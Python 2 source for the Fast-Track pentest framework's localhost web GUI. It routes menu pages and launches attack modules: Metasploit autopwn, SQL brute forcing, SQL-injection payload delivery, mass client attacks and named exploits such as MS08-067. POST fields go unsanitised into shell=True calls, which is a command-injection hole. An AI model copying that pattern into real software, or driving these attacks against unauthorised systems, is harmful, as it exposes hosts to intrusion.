###################### START PAYLOADGEN ##############################
if self.path == "/payloadgenpost":
content_length = string.atoi(self.headers.dict["content-length"])
raw_post_data = self.rfile.read(content_length)
raw_post_data=re.split('=|&',raw_post_data)
self.send_response(200)
self.end_headers()
load_header(self)
load_nav(self)
payloadgen=file("bin/web/html/finished","r").readlines()
for line in payloadgen:
self.wfile.write(line)
load_footer(self)
try:
payloadgen=subprocess.Popen('''xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track Payload Generator" -e "python %s/fast-track.py -c 9"''' % (definepath), shell=True)
except OSError:
print "Exiting Fast-Track Web GUI.."
print "\nType <control>-c again to exit Fast-Track Web Gui.."
###################### END PayloadGen ##############################
# Print standard browser headers
def printBrowserHeaders(self):
self.wfile.write("<p>Headers: <br>")
header_keys = self.headers.dict.keys()
for key in header_keys:
self.wfile.write("<b>" + key + "</b>: ")
self.wfile.write(self.headers.dict[key] + "<br>")
# Print custom HTTP Response
def printCustomHTTPResponse(self, respcode):
self.send_response(respcode)
self.send_header("Content-type", "text/html")
self.send_header("Server", "myRequestHandler")
self.end_headers()
# In case of exceptions, pass them
except Exception:
pass
#
# Specify starting parameters..if you want to make this exposed remotely (highly not recommended)
# just change '127.0.0.1' to ''. Warning on this, I didn't harden this at all, so use at your own
# risk externally.
#
try:
port=sys.argv[2]
except IndexError:
port='44444'
httpd = HTTPServer(('127.0.0.1', int(port)), myRequestHandler)
print "\n****************************************\nFast-Track Web GUI Front-End\nWritten by: David Kennedy (ReL1K)\n****************************************\n"
print "Starting HTTP Server on 127.0.0.1 port %s\n" % (port)
print "*** Open a browser and go to http://127.0.0.1:%s ***\n" % (port)
print "Type <control>-c to exit.."
try:
# Uncomment if you want to launch firefox upon opening
#print "Launching FireFox on Localhost port: %s" % (port)
#launchfirefox=os.popen2("firefox localhost:%s" % (port))
# Open sockets, open for business
httpd.handle_request()
# Serve HTTP server forever
httpd.serve_forever()
# Except Keyboard Interrupts and throw custom message
except KeyboardInterrupt:
print "\n\nExiting Fast-Track Web Gui...\n\n"
# Remove old files
cleanup=subprocess.Popen("rm sqlpassword 2> /dev/null;rm SqlScan.txt 2> /dev/null;rm sqlopen.txt 2> /dev/null;rm pentest 2> /dev/null;killall python 2> /dev/null", shell=True)
# Terminate process
sys.exit()
| 51,345
|
Python
|
.py
| 1,154
| 37.136049
| 275
| 0.594206
|
pwnieexpress/raspberry_pwn
| 1,024
| 184
| 8
|
GPL-3.0
|
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
|
19,416
|
ftgui.py.svn-base
|
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/web/.svn/text-base/ftgui.py.svn-base
|
#!/usr/bin/env python
"""
Fast-Track Web GUI Front-End, very very beta... This is my first attempt at throwing something
together that is easier to use... It will be a gradual progression and improve as time goes along.
Thanks to everyone for the help and support through this and testing, much appreciated to everyone.
Muts, ShamanVirtual, MaJ, Sleep, TheX1le, Stazz, Leroy (Jenkem), Sasquatch, whipsmack,
and everyone else that has given me ideas, and testing things out.
"""
# Import modules needed here..all standard Python modules
from BaseHTTPServer import HTTPServer
from BaseHTTPServer import BaseHTTPRequestHandler
import string,sys,os,re,subprocess,datetime
# Define current working directory
definepath=os.getcwd()
sys.path.append("%s/bin/setup/" % (definepath))
# Start count to check all system requirements
import depend
# End Dependency check
# Def request handlers to handle GET/POST
sys.path.append("%s/bin/web/" % (definepath))
def load_header(self):
headeropen=file("bin/web/html/header", "r").readlines()
for line in headeropen:
self.wfile.write(line)
# define left hand nav section for webpage
def load_nav(self):
navopen=file("bin/web/html/nav", "r").readlines()
for line in navopen:
self.wfile.write(line)
# Define footer section for webpage
def load_footer(self):
footeropen=file("bin/web/html/footer", "r").readlines()
for line in footeropen:
self.wfile.write(line)
class myRequestHandler(BaseHTTPRequestHandler):
try:
def do_GET(self):
# Always Accept GET
# Site root: Main Menu
if self.path == "/":
self.printCustomHTTPResponse(200)
load_header(self)
load_nav(self)
indexopen=file("bin/web/html/index","r").readlines()
for line in indexopen:
self.wfile.write(line)
load_footer(self)
# Style.CSS
if self.path == "/fast_track.css":
self.send_response(200)
self.send_header('Content_type', 'text/css')
self.end_headers()
cssopen=file("bin/web/html/fast_track.css","r").readlines()
for line in cssopen:
self.wfile.write(line)
# Spacer
if self.path == "/images/spacer.gif":
spacer=file("bin/web/html/images/spacer.gif","rb").readlines()
for line in spacer:
self.wfile.write(line)
# Left graphic image for nav
if self.path == "/images/ft_left_pane_1.jpg":
spacer=file("bin/web/html/images/ft_left_pane_1.jpg","rb").readlines()
for line in spacer:
self.wfile.write(line)
# Bullet
if self.path == "/images/bullet.jpg":
bullet=file("bin/web/html/images/bullet.jpg","rb").readlines()
for line in bullet:
self.wfile.write(line)
# Content
if self.path == "/images/content.gif":
content=file("bin/web/html/images/content.gif","rb").readlines()
for line in content:
self.wfile.write(line)
# Fast_Track_01
if self.path == "/images/fast_track_01.jpg.gif":
ft1=file("bin/web/html/images/fast_track_01.jpg","rb").readlines()
for line in ft1:
self.wfile.write(line)
# Fast_Track_03
if self.path == "/images/fast_track_03.jpg":
ft3=file("bin/web/html/images/fast_track_03.jpg","rb").readlines()
for line in ft3:
self.wfile.write(line)
# Fast_Track_08
if self.path == "/images/fast_track_08.jpg":
ft8=file("bin/web/html/images/fast_track_08.jpg","rb").readlines()
for line in ft8:
self.wfile.write(line)
# Fast_Track_09
if self.path == "/images/fast_track_09.jpg":
ft9=file("bin/web/html/images/fast_track_09.jpg","rb").readlines()
for line in ft9:
self.wfile.write(line)
# Fast_Track_10
if self.path == "/images/fast_track_10.jpg":
ft=file("bin/web/html/images/fast_track_10.jpg","rb").readlines()
for line in ft:
self.wfile.write(line)
# Fast_Track_11
if self.path == "/images/fast_track_11.jpg":
ft9=file("bin/web/html/images/fast_track_11.jpg","rb").readlines()
for line in ft9:
self.wfile.write(line)
# Fast_Track_15
if self.path == "/images/fast_track_15.jpg":
ft9=file("bin/web/html/images/fast_track_15.jpg","rb").readlines()
for line in ft9:
self.wfile.write(line)
# Fast_Track_16
if self.path == "/images/fast_track_16.jpg":
ft9=file("bin/web/html/images/fast_track_16.jpg","rb").readlines()
for line in ft9:
self.wfile.write(line)
# Fast_Track_18
if self.path == "/images/fast_track_18.jpg":
ft9=file("bin/web/html/images/fast_track_18.jpg","rb").readlines()
for line in ft9:
self.wfile.write(line)
# Fast_Track_21
if self.path == "/images/fast_track_21.jpg":
ft9=file("bin/web/html/images/fast_track_21.jpg","rb").readlines()
for line in ft9:
self.wfile.write(line)
# Fast_Track_25
if self.path == "/images/fast_track_25.jpg":
ft9=file("bin/web/html/images/fast_track_25.jpg","rb").readlines()
for line in ft9:
self.wfile.write(line)
# Fast_Track_26
if self.path == "/images/fast_track_26.jpg":
ft9=file("bin/web/html/images/fast_track_26.jpg","rb").readlines()
for line in ft9:
self.wfile.write(line)
# FT_header_04
if self.path == "/images/ft_header_04.jpg":
ft9=file("bin/web/html/images/ft_header_04.jpg","rb").readlines()
for line in ft9:
self.wfile.write(line)
# ft_header_hover_03
if self.path == "/images/ft_header_hover_03.jpg":
ft9=file("bin/web/html/images/ft_header_hover_03.jpg","rb").readlines()
for line in ft9:
self.wfile.write(line)
# ft_header_hover_04
if self.path == "/images/ft_header_hover_04.jpg":
ft9=file("bin/web/html/images/ft_header_hover_04.jpg","rb").readlines()
for line in ft9:
self.wfile.write(line)
# ft_header_hover_05
if self.path == "/images/ft_header_hover_05.jpg":
ft9=file("bin/web/html/images/ft_header_hover_05.jpg","rb").readlines()
for line in ft9:
self.wfile.write(line)
# ft_header_hover_07
if self.path == "/images/ft_header_hover_07.jpg":
ft9=file("bin/web/html/images/ft_header_hover_07.jpg","rb").readlines()
for line in ft9:
self.wfile.write(line)
# page_bg
if self.path == "/images/page_bg.jpg":
ft9=file("bin/web/html/images/page_bg.jpg","rb").readlines()
for line in ft9:
self.wfile.write(line)
# btn1
if self.path == "/images/btn_launch_1.jpg":
spacer=file("bin/web/html/images/btn_launch_1.jpg","rb").readlines()
for line in spacer:
self.wfile.write(line)
# btn2
if self.path == "/images/btn_launch_2.jpg":
spacer=file("bin/web/html/images/btn_launch_2.jpg","rb").readlines()
for line in spacer:
self.wfile.write(line)
# btn3
if self.path == "/images/btn_launch_3.jpg":
spacer=file("bin/web/html/images/btn_launch_3.jpg","rb").readlines()
for line in spacer:
self.wfile.write(line)
# msautopwn
if self.path == "/images/btn_msautopwn.jpg":
spacer=file("bin/web/html/images/btn_msautopwn.jpg","rb").readlines()
for line in spacer:
self.wfile.write(line)
# btn_reset
if self.path == "/images/btn_reset.jpg":
spacer=file("bin/web/html/images/btn_reset.jpg","rb").readlines()
for line in spacer:
self.wfile.write(line)
# btn_browse
if self.path == "/images/btn_browse.jpg":
spacer=file("bin/web/html/images/btn_browse.jpg","rb").readlines()
for line in spacer:
self.wfile.write(line)
# btn_updateall
if self.path == "/images/btn_updateall.jpg":
spacer=file("bin/web/html/images/btn_updateall.jpg","rb").readlines()
for line in spacer:
self.wfile.write(line)
# updateft
if self.path == "/images/btn_updateft.jpg":
spacer=file("bin/web/html/images/btn_updateft.jpg","rb").readlines()
for line in spacer:
self.wfile.write(line)
# meta update
if self.path == "/images/btn_updatems.jpg":
spacer=file("bin/web/html/images/btn_updatems.jpg","rb").readlines()
for line in spacer:
self.wfile.write(line)
# Fast_Track_10
if self.path == "/images/fast_track_10.jpg":
ft10=file("bin/web/html/images/fast_track_10.jpg","rb").readlines()
for line in ft10:
self.wfile.write(line)
# Update: Update Menu for Fast-Track and various other tools
if self.path == "/update":
load_header(self)
load_nav(self)
update=file("bin/web/html/updates","r").readlines()
for line in update:
self.wfile.write(line)
load_footer(self)
# Autopwn: Metasploit Autopwn Automated
if self.path == "/autopwn":
load_header(self)
load_nav(self)
autopwn=file("bin/web/html/autopwn","r").readlines()
for line in autopwn:
self.wfile.write(line)
load_footer(self)
# SQL Brute Main: Sql brute forcing Main Menu
if self.path == "/sqlbrute":
load_header(self)
load_nav(self)
sqlbrute=file("bin/web/html/sqlbrutemain","r").readlines()
for line in sqlbrute:
self.wfile.write(line)
load_footer(self)
# Quick brute option: SQL brute forcing using quick (like 50 passwords)
if self.path == "/quickbrute":
load_header(self)
load_nav(self)
sqlbrutequick=file("bin/web/html/quickbrute","r").readlines()
for line in sqlbrutequick:
self.wfile.write(line)
load_footer(self)
# Wordlist brute option wordlist: Import an external wordlist and brute force against one or many hosts
if self.path == "/wordlistbrute":
load_header(self)
load_nav(self)
wordlistbrute=file("bin/web/html/wordlistbrute","r").readlines()
for line in wordlistbrute:
self.wfile.write(line)
load_footer(self)
# Binary Convert: Convert binarys to a pasteable format to a windows shell to compile it..used as a PAYLOAD delivery method
if self.path == "/binaryconvert":
load_header(self)
load_nav(self)
binaryconvert=file("bin/web/html/binaryconvert","r").readlines()
for line in binaryconvert:
self.wfile.write(line)
load_footer(self)
# Changelog: Fast-Track updates, uses CHANGELOG under readme to generate the info dynamically
if self.path == "/changelog":
load_header(self)
load_nav(self)
changelog=file("bin/web/html/changelog","r").readlines()
for line in changelog:
self.wfile.write(line)
match2=re.search('<div style="overflow:scroll;', line)
if match2:
menuopen=file("readme/CHANGELOG","r").readlines()
for line in menuopen:
self.wfile.write('<p class="box_text">'+line+"</p>")
load_footer(self)
# Tutorials for Fast-Track, generate the info dynamically
if self.path == "/tutorials":
load_header(self)
load_nav(self)
tutorials=file("bin/web/html/tutorials","r").readlines()
for line in tutorials:
self.wfile.write(line)
load_footer(self)
# Credits for Fast-Track, generate the info dynamically
if self.path == "/credits":
load_header(self)
load_nav(self)
tutorials=file("bin/web/html/credits","r").readlines()
for line in tutorials:
self.wfile.write(line)
load_footer(self)
# SQL Injector Main: Find an injectable parameter and this trys to exploit it: Main Menu
if self.path == "/sqlinjector":
load_header(self)
load_nav(self)
sqlinjectormain=file("bin/web/html/sqlinjector","r").readlines()
for line in sqlinjectormain:
self.wfile.write(line)
load_footer(self)
# SQL Injector Binary Payload: Use binary to hex conversions to deliver our payload through SQL Injection
if self.path == "/binarypayload":
load_header(self)
load_nav(self)
binarypayload=file("bin/web/html/binarypayload","r").readlines()
for line in binarypayload:
self.wfile.write(line)
load_footer(self)
# SQL Injector FTP Payload: Use FTP as a median for transfer, delivers a netcat payload
if self.path == "/ftppayload":
load_header(self)
load_nav(self)
ftppayload=file("bin/web/html/ftppayload","r").readlines()
for line in ftppayload:
self.wfile.write(line)
load_footer(self)
# SQL Injector POST Binary Payload:
if self.path == "/postpayload":
load_header(self)
load_nav(self)
postpayload=file("bin/web/html/postpayload","r").readlines()
for line in postpayload:
self.wfile.write(line)
load_footer(self)
# SQL Injector Manual Payload: Setup everything manual for you, i.e nc listening on port x and ip of x
if self.path == "/manualpayload":
load_header(self)
load_nav(self)
manualpayload=file("bin/web/html/manualpayload","r").readlines()
for line in manualpayload:
self.wfile.write(line)
load_footer(self)
if self.path == "/massclient":
load_header(self)
load_nav(self)
massclient=file("bin/web/html/massclient","r").readlines()
for line in massclient:
self.wfile.write(line)
load_footer(self)
# Payload Generator
if self.path == "/payloadgen":
load_header(self)
load_nav(self)
payloadgen=file("bin/web/html/payloadgen","r").readlines()
for line in payloadgen:
self.wfile.write(line)
load_footer(self)
# Exploits Main
if self.path == "/exploits":
load_header(self)
load_nav(self)
exploitsmain=file("bin/web/html/exploits","r").readlines()
for line in exploitsmain:
self.wfile.write(line)
load_footer(self)
# HP OpenView CGI Exploit
if self.path == "/openviewcgi":
load_header(self)
load_nav(self)
openviewcgi=file("bin/web/html/openviewcgi","r").readlines()
for line in openviewcgi:
self.wfile.write(line)
load_footer(self)
# IBM Tivoli Exploit
if self.path == "/ibmtivoli":
load_header(self)
load_nav(self)
ibmtivoli=file("bin/web/html/ibmtivoli","r").readlines()
for line in ibmtivoli:
self.wfile.write(line)
load_footer(self)
# HP OpenView NNM Exploit
if self.path == "/openviewnnm":
load_header(self)
load_nav(self)
openviewnnm=file("bin/web/html/openviewnnm","r").readlines()
for line in openviewnnm:
self.wfile.write(line)
load_footer(self)
# Quicktime RTSP
if self.path == "/quicktime":
load_header(self)
load_nav(self)
ibmtivoli=file("bin/web/html/quicktime","r").readlines()
for line in ibmtivoli:
self.wfile.write(line)
load_footer(self)
# Goodtech
if self.path == "/goodtech":
load_header(self)
load_nav(self)
goodtech=file("bin/web/html/goodtech","r").readlines()
for line in goodtech:
self.wfile.write(line)
load_footer(self)
# \MS08-067
if self.path == "/ms08067":
load_header(self)
load_nav(self)
ms08067=file("bin/web/html/ms08067","r").readlines()
for line in ms08067:
self.wfile.write(line)
load_footer(self)
# \MS09-002
if self.path == "/ms09002":
load_header(self)
load_nav(self)
ms09002=file("bin/web/html/ms09002","r").readlines()
for line in ms09002:
self.wfile.write(line)
load_footer(self)
# MIRC
if self.path == "/mirc":
load_header(self)
load_nav(self)
mirc=file("bin/web/html/mirc","r").readlines()
for line in mirc:
self.wfile.write(line)
load_footer(self)
# TFTP
if self.path == "/tftp":
load_header(self)
load_nav(self)
tftp=file("bin/web/html/tftp","r").readlines()
for line in tftp:
self.wfile.write(line)
load_footer(self)
# IE XML Corruption
if self.path == "/xmlcorruptionbo":
load_header(self)
load_nav(self)
xml=file("bin/web/html/xmlcorruptionbo","r").readlines()
for line in xml:
self.wfile.write(line)
load_footer(self)
# MS Internet Explorer 7 DirectShow (msvidctl.dll) Heap Spray
if self.path == "/directshowheap":
load_header(self)
load_nav(self)
xml=file("bin/web/html/directshowheap","r").readlines()
for line in xml:
self.wfile.write(line)
load_footer(self)
# FireFox 3.5 Heap Spray
if self.path == "/firefox35":
load_header(self)
load_nav(self)
xml=file("bin/web/html/firefox35","r").readlines()
for line in xml:
self.wfile.write(line)
load_footer(self)
# SQLPwnage Main Menu
if self.path == "/sqlpwnage":
load_header(self)
load_nav(self)
sqlpwnagemain=file("bin/web/html/sqlpwnage","r").readlines()
for line in sqlpwnagemain:
self.wfile.write(line)
load_footer(self)
# SQLPwnage Blind Menu
if self.path == "/sqlpwnageblind":
load_header(self)
load_nav(self)
sqlpwnagemain=file("bin/web/html/sqlpwnageblind","r").readlines()
for line in sqlpwnagemain:
self.wfile.write(line)
load_footer(self)
# SQLPwnage Blind POST Menu
#if self.path == "/sqlpwnageblindpost":
# sqlpwnagemain=file("bin/web/html/sqlpwnageblindpost.html","r").readlines()
# for line in sqlpwnagemain:
# self.wfile.write(line)
# match=re.search('<ul id="navlist" title="menu">', line)
# if match:
# menuopen=file("bin/web/html/menu.html","r").readlines()
# for line in menuopen:
# self.wfile.write(line)
# SQLPwnage Error Menu
if self.path == "/sqlpwnageerror":
load_header(self)
load_nav(self)
sqlpwnagemain=file("bin/web/html/sqlpwnageerror","r").readlines()
for line in sqlpwnagemain:
self.wfile.write(line)
load_footer(self)
# Close any html body tags
self.wfile.write("</html></body>")
# Start POST
def do_POST(self):
###################### START UPDATE EVERYTHING SECTION ##############################
if self.path == "/updatepost":
load_header(self)
load_nav(self)
updatepost=file("bin/web/html/finished","r").readlines()
for line in updatepost:
self.wfile.write(line)
load_footer(self)
try:
update=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track Auto-Update" -e "python %s/fast-track.py -c 1 2" 2> /dev/null""" % (definepath), shell=True)
except OSError:
print "Exiting Fast-Track Web GUI.."
print "\nType <control>-c again to exit Fast-Track Web Gui.."
###################### END UPDATE EVERYTHING SECTION ##############################
###################### START UPDATE FT ONLY SECTION ##############################
if self.path == "/updateftpost":
load_header(self)
load_nav(self)
updatepost=file("bin/web/html/finished","r").readlines()
for line in updatepost:
self.wfile.write(line)
load_footer(self)
try:
update=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track Auto-Update" -e "python %s/fast-track.py -c 1 1" 2> /dev/null""" % (definepath), shell=True)
except OSError:
print "Exiting Fast-Track Web GUI.."
print "\nType <control>-c again to exit Fast-Track Web Gui.."
###################### END UPDATE FT ONLY SECTION ##############################
###################### START AUTOPWN SECTION ##############################
if self.path == "/autopwnpost":
content_length = string.atoi(self.headers.dict["content-length"])
raw_post_data = self.rfile.read(content_length)
raw_post_data=re.split('=|&',raw_post_data)
self.send_response(200)
self.end_headers()
ipaddr=raw_post_data[1].rstrip()
ipaddr=ipaddr.replace("+"," ")
ipaddr=ipaddr.replace("%2C",",")
ipaddr=ipaddr.replace("%2F","/")
option1=raw_post_data[3].rstrip()
load_header(self)
load_nav(self)
autopwn=file("bin/web/html/finished","r").readlines()
for line in autopwn:
self.wfile.write(line)
load_footer(self)
try:
metapwn=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track Metasploit Autopwn Automated" -e "python %s/fast-track.py -c 2 \'%s\' %s" 2> /dev/null""" % (definepath,ipaddr,option1), shell=True)
except OSError:
print "Exiting Fast-Track Web GUI.."
print "\nType <control>-c again to exit Fast-Track Web Gui.."
###################### END AUTOPWN SECTION ##############################
###################### START METASPLOIT UPDATE SECTION ##############################
if self.path == "/metaupdatepost":
self.send_response(200)
self.end_headers()
load_header(self)
load_nav(self)
metaupdatepost=file("bin/web/html/finished","r").readlines()
for line in metaupdatepost:
self.wfile.write(line)
load_footer(self)
try:
metaupdate=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track Metasploit Autopwn Automated" -e "python %s/bin/ftsrc/updatemeta.py" 2> /dev/null""" % (definepath), shell=True)
except OSError:
print "Exiting Fast-Track Web GUI.."
print "\nType <control>-c again to exit Fast-Track Web Gui.."
###################### END METASPLOIT UPDATE SECTION ##############################
###################### START SQL QUICK BRUTE ##############################
if self.path == "/quickbrutepost":
content_length = string.atoi(self.headers.dict["content-length"])
raw_post_data = self.rfile.read(content_length)
raw_post_data=re.split('=|&',raw_post_data)
self.send_response(200)
self.end_headers()
ipaddr=raw_post_data[1].rstrip()
ipaddr=ipaddr.replace("%2F","/")
payload=raw_post_data[3].rstrip()
username=raw_post_data[5].rstrip()
load_header(self)
load_nav(self)
quickbrute=file("bin/web/html/finished","r").readlines()
for line in quickbrute:
self.wfile.write(line)
load_footer(self)
try:
quickbrute=subprocess.Popen(r"""xterm -geometry 80x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track SQL Quick Brute" -e "python %s/fast-track.py -c 4 1 %s %s %s" """ % (definepath,ipaddr,username,payload), shell=True)
except OSError:
print "Exiting Fast-Track Web GUI.."
print "\nType <control>-c again to exit Fast-Track Web Gui.."
###################### END SQL QUICK BRUTE ##############################
###################### START SQL WORDLIST BRUTE ##############################
if self.path == "/wordlistbrutepost":
content_length = string.atoi(self.headers.dict["content-length"])
raw_post_data = self.rfile.read(content_length)
# print raw_post_data
raw_post_data=re.split('=|&',raw_post_data)
self.send_response(200)
self.end_headers()
ipaddr=raw_post_data[1].rstrip()
payload=raw_post_data[3].rstrip()
username=raw_post_data[5].rstrip()
wordlist=raw_post_data[7].rstrip()
wordlist=wordlist.replace("%2F","/")
ipaddr=ipaddr.replace("%2F", "/")
load_header(self)
load_nav(self)
wordlistbrute=file("bin/web/html/finished","r").readlines()
for line in wordlistbrute:
self.wfile.write(line)
load_footer(self)
try:
wordlist=subprocess.Popen(r'''xterm -geometry 80x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track SQL Wordlist Brute" -e "python %s/fast-track.py -c 4 2 %s %s %s %s"''' % (definepath,ipaddr,username,wordlist,payload), shell=True)
except OSError:
print "Exiting Fast-Track Web GUI.."
print "\nType <control>-c again to exit Fast-Track Web Gui.."
###################### END SQL WORDLIST BRUTE ##############################
###################### START BINARYCONVERT ##############################
if self.path == "/binaryconvertpost":
content_length = string.atoi(self.headers.dict["content-length"])
raw_post_data = self.rfile.read(content_length)
raw_post_data=re.split('=|&',raw_post_data)
self.send_response(200)
self.end_headers()
print raw_post_data
binpath=raw_post_data[1].rstrip()
binpath=binpath.replace("%2F","/")
binaryconvertpost=file("bin/web/html/finished","r").readlines()
load_header(self)
load_nav(self)
for line in binaryconvertpost:
self.wfile.write(line)
load_footer(self)
try:
binconvert=subprocess.Popen("""python %s/fast-track.py -c 5 %s""" % (definepath,binpath), shell=True)
except OSError:
print "Exiting Fast-Track Web GUI.."
print "\nType <control>-c again to exit Fast-Track Web Gui.."
###################### END BINARYCONVERT ##############################
###################### START SQL INJECTOR BINARY PAYLOAD ##############################
if self.path == "/binarypayloadpost":
content_length = string.atoi(self.headers.dict["content-length"])
raw_post_data = self.rfile.read(content_length)
raw_post_data=re.split('=|&',raw_post_data)
self.send_response(200)
self.end_headers()
url=raw_post_data[1].rstrip()
url=url.replace("%3A",":")
url=url.replace("%2F","/")
url=url.replace("%3F","?")
url=url.replace("%3D","=")
url=url.replace("%27","'")
url=url.replace("%26","&")
# Used to escape the ' and & in shell
url=url.replace("'","\\'")
url=url.replace("&","\\&")
load_header(self)
load_nav(self)
binarypayload=file("bin/web/html/finished","r").readlines()
for line in binarypayload:
self.wfile.write(line)
load_footer(self)
try:
binarypayload=subprocess.Popen('''xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track SQL Injector Binary Payload" -e "python %s/fast-track.py -c 3 1 %s" 2> /dev/null''' % (definepath,url), shell=True)
except OSError:
print "Exiting Fast-Track Web GUI.."
print "\nType <control>-c again to exit Fast-Track Web Gui.."
except Exception:
pass
###################### END SQL INJECTOR BINARY PAYLOAD ##############################
###################### START SQL INJECTOR FTP PAYLOAD ##############################
if self.path == "/ftppayloadpost":
content_length = string.atoi(self.headers.dict["content-length"])
raw_post_data = self.rfile.read(content_length)
raw_post_data=re.split('=|&',raw_post_data)
self.send_response(200)
self.end_headers()
url=raw_post_data[1].rstrip()
url=url.replace("%3A",":")
url=url.replace("%2F","/")
url=url.replace("%3F","?")
url=url.replace("%3D","=")
url=url.replace("%27","'")
url=url.replace("%26","&")
# Used to escape the ' and & in shell
url=url.replace("'","\\'")
url=url.replace("&","\\&")
load_header(self)
load_nav(self)
ftppayloadpost=file("bin/web/html/finished","r").readlines()
for line in ftppayloadpost:
self.wfile.write(line)
load_footer(self)
try:
ftppayload=subprocess.Popen('''xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track SQL Injector Binary Payload" -e "python %s/fast-track.py -c 3 2 %s" 2> /dev/null'''% (definepath,url), shell=True)
except OSError:
print "Exiting Fast-Track Web GUI.."
print "\nType <control>-c again to exit Fast-Track Web Gui.."
except Exception:
pass
###################### END SQL INJECTOR FTP PAYLOAD ##############################
###################### START SQL INJECTOR MANUAL PAYLOAD ##############################
if self.path == "/manualpayloadpost":
content_length = string.atoi(self.headers.dict["content-length"])
raw_post_data = self.rfile.read(content_length)
raw_post_data=re.split('=|&',raw_post_data)
self.send_response(200)
self.end_headers()
url=raw_post_data[1].rstrip()
url=url.replace("%3A",":")
url=url.replace("%2F","/")
url=url.replace("%3F","?")
url=url.replace("%3D","=")
url=url.replace("%27","'")
url=url.replace("%26","&")
# Used to escape the ' and & in shell
url=url.replace("'","\\'")
url=url.replace("&","\\&")
ipaddr=raw_post_data[3].rstrip()
portnum=raw_post_data[5].rstrip()
load_header(self)
load_nav(self)
manualpayloadpost=file("bin/web/html/finished","r").readlines()
for line in manualpayloadpost:
self.wfile.write(line)
load_footer(self)
try:
manualpayload=subprocess.Popen('''xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track SQL Injector Binary Payload" -e "python %s/fast-track.py -c 3 3 %s %s %s" 2> /dev/null''' % (definepath,url,ipaddr,portnum), shell=True)
except OSError:
print "Exiting Fast-Track Web GUI.."
print "\nType <control>-c again to exit Fast-Track Web Gui.."
except Exception:
pass
###################### END SQL INJECTOR MANUAL PAYLOAD ##############################
###################### START SQL INJECTOR BINARY PAYLOAD POST ##############################
if self.path == "/postpayloadpost":
content_length = string.atoi(self.headers.dict["content-length"])
raw_post_data = self.rfile.read(content_length)
raw_post_data=re.split('=|&',raw_post_data)
self.send_response(200)
self.end_headers()
url=raw_post_data[1].rstrip()
url=url.replace("%3A",":")
url=url.replace("%2F","/")
url=url.replace("%3F","?")
url=url.replace("%3D","=")
url=url.replace("%27","'")
url=url.replace("%26","&")
# Used to escape the ' and & in shell
url=url.replace("'","\\'")
url=url.replace("&","\\&")
load_header(self)
load_nav(self)
postpayload=file("bin/web/html/finished","r").readlines()
for line in postpayload:
self.wfile.write(line)
load_footer(self)
try:
ftppayload=subprocess.Popen('''xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track SQL Injector Binary Payload" -e "python %s/fast-track.py -c 3 4 %s" 2> /dev/null'''% (definepath,url), shell=True)
except OSError:
print "Exiting Fast-Track Web GUI.."
print "\nType <control>-c again to exit Fast-Track Web Gui.."
except Exception:
pass
###################### END SQL INJECTOR BINARY PAYLOAD POST ##############################
###################### START METASPLOIT CLIENT ATTACK ##############################
if self.path == "/massclientpost":
content_length = string.atoi(self.headers.dict["content-length"])
raw_post_data = self.rfile.read(content_length)
raw_post_data=re.split('=|&',raw_post_data)
self.send_response(200)
self.end_headers()
ipaddr=raw_post_data[1].rstrip()
choice=raw_post_data[3].rstrip()
try:
etterchoice=raw_post_data[5].rstrip()
except Exception,e:
print e
etterchoice=0
try:
ettercap=raw_post_data[7].rstrip()
except Exception: ettercap=0
load_header(self)
load_nav(self)
massclientpost=file("bin/web/html/finished","r").readlines()
for line in massclientpost:
self.wfile.write(line)
load_footer(self)
print choice
try:
massclient=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track Metasploit Mass Client Attack" -e "python %s/fast-track.py -c 6 %s %s %s %s" 2> /dev/null""" % (definepath,ipaddr,choice,etterchoice,ettercap), shell=True)
except OSError:
print "Exiting Fast-Track Web GUI.."
print "\nType <control>-c again to exit Fast-Track Web Gui.."
###################### END METASPLOIT CLIENT ATTACK ##############################
###################### START EXPLOITS OPENVIEWCGI ##############################
if self.path == "/openviewcgipost":
content_length = string.atoi(self.headers.dict["content-length"])
raw_post_data = self.rfile.read(content_length)
raw_post_data=re.split('=|&',raw_post_data)
self.send_response(200)
self.end_headers()
ipaddr=raw_post_data[1].rstrip()
ipaddr=ipaddr.replace("+"," ")
load_header(self)
load_nav(self)
openviewcgi=file("bin/web/html/finished","r").readlines()
for line in openviewcgi:
self.wfile.write(line)
load_footer(self)
try:
openviewcgi=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track HP OpenView CGI Exploit" -e "python %s/fast-track.py -c 7 1 %s" 2> /dev/null""" % (definepath,ipaddr), shell=True)
except OSError:
print "Exiting Fast-Track Web GUI.."
print "\nType <control>-c again to exit Fast-Track Web Gui.."
###################### END EXPLOITS OPENVIEWCGI ##############################
###################### START EXPLOITS IBMTIVOLI ##############################
if self.path == "/ibmtivolipost":
content_length = string.atoi(self.headers.dict["content-length"])
raw_post_data = self.rfile.read(content_length)
raw_post_data=re.split('=|&',raw_post_data)
self.send_response(200)
self.end_headers()
try:
ipaddr=raw_post_data[1].rstrip()
ipaddr=ipaddr.replace("+"," ")
except IndexError: pass
load_header(self)
load_nav(self)
ibmtivoli=file("bin/web/html/finished","r").readlines()
for line in ibmtivoli:
self.wfile.write(line)
load_footer(self)
try:
openviewcgi=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track IBM Tivoli Exploit" -e "python %s/fast-track.py -c 7 2 %s" 2> /dev/null""" % (definepath,ipaddr), shell=True)
